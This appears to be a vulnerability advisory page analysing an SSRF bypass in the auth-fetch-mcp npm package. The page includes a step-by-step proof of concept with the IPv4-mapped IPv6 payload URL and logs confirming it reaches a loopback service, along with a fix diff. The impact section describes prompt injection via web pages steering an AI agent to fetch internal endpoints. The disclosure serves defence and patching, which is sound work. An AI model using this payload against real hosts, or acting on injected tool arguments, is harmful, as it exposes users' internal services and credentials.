Miggo at BlackHat 2026!
Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe analysis began by examining the provided vulnerability description, which pointed to an SSRF bypass in the isPrivateV6 function within src/security.ts of the auth-fetch-mcp repository. The root cause was identified as a failure to handle hex-normalized IPv4-mapped IPv6 addresses. To confirm this and find the exact patch, I retrieved the repository tags to identify the commits associated with the vulnerable version (v3.0.1) and the patched version (v3.0.2). By comparing these two versions, I located the specific commit 177ec5f8ee9c2d5749035777e562f699971b0da9 that addressed the vulnerability. The commit diff explicitly showed the changes made to the isPrivateV6 function, confirming it as the core vulnerable function. The vulnerability description also provided a detailed data flow analysis, which allowed me to trace the call stack from the user input points (auth_fetch and download_media tools) down to the vulnerable function. This revealed that assertSafeUrl and navigateTo are also critical functions in the exploitation path, as they process the malicious input and lead to the security check bypass. These functions are included in the analysis as they would likely appear in a runtime profile during an exploit.
isPrivateV6src/security.ts
assertSafeUrlsrc/security.ts
navigateTosrc/browser.ts
auth_fetchsrc/tools.ts
download_mediasrc/tools.ts
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| auth-fetch-mcp | npm | <= 3.0.1 | 3.0.2 |
falseisPrivateV6()falseassertSafeUrl()Data flow — primary sink (auth_fetch):
src/tools.ts:119 — auth_fetch accepts user-controlled url: z.string() (source).src/tools.ts:128-131 — handler calls navigateTo(ctx, url), passing the raw URL.src/browser.ts:58 — navigateTo() calls assertSafeUrl(url).src/security.ts:74-108 — assertSafeUrl() delegates IPv6 host validation to isPrivateV6(); hex-normalized loopback bypasses the check.src/browser.ts:66 — page.goto(safeUrl.toString()) issues a browser request to the internal address.src/extractor.ts:33-54 / src/tools.ts:171-176 — page content is extracted and returned to the MCP caller.Data flow — secondary sink (download_media):
src/tools.ts:198-210 — download_media accepts user-controlled urls[].src/tools.ts:233-234 — each URL passes through assertSafeUrl() then ctx.request.get(safeUrl.toString()).src/tools.ts:253-254 — the response body is written to the local downloads directory and the path is returned.Dynamic confirmation (Phase 2):
The PoC ran inside a Docker container (--network=host). Direct loopback URLs are correctly blocked:
[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)
[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)
The IPv4-mapped IPv6 form bypasses the check and reaches the internal service:
[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw
[VULN] Input URL: http://[::ffff:127.0.0.1]:31337/
[VULN] Normalized URL: http://[::ffff:7f00:1]:31337/
[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false
[SSRF] HTTP response received from internal service
[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER
[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE
Prerequisites:
git clone https://github.com/ymw0407/auth-fetch-mcp.git
cd auth-fetch-mcp
npm ci
npm run build
npx playwright install --with-deps chromium
Terminal 1 — start a loopback-only internal service:
node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")'
Terminal 2 — start the MCP server (default config, no special env vars):
npx auth-fetch-mcp@3.0.1
MCP tool invocation:
{
"tool": "auth_fetch",
"arguments": {
"url": "http://[::ffff:127.0.0.1]:31337/"
}
}
Expected vs. actual behavior:
| URL | Expected | Actual |
|---|---|---|
| http://127.0.0.1:31337/ | BLOCK | BLOCK (correct) |
| http://[::1]:31337/ | BLOCK | BLOCK (correct) |
| http://[::ffff:127.0.0.1]:31337/ | BLOCK | ALLOW (vulnerable) |
| http://[::ffff:7f00:1]:31337/ | BLOCK | ALLOW (vulnerable) |
After the user clicks the "Capture" button, the MCP response contains INTERNAL_SECRET_MARKER, confirming that the internal HTTP service was reached through the SSRF protection bypass.
Decode the hex-encoded IPv4-mapped suffix before passing it to isPrivateV4():
if (lower.startsWith("::ffff:")) {
const v4 = lower.slice(7);
if (net.isIPv4(v4)) return isPrivateV4(v4);
+ const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);
+ if (m) {
+ const hi = parseInt(m[1], 16);
+ const lo = parseInt(m[2], 16);
+ const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;
+ return isPrivateV4(mapped);
+ }
}
Additionally, a BrowserContext route guard should be added in src/browser.ts to re-validate every navigation URL (including redirect targets) through assertSafeUrl().
No patched version available.
This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can supply or influence the url argument of the auth_fetch tool (or the urls[] array of download_media) can direct the MCP server to make HTTP requests to services bound to 127.0.0.1 or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.
Who is impacted:
auth-fetch-mcp locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers.auth-fetch-mcp as a shared MCP server faces the same risk against internal network services reachable from the host.auth_fetch UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.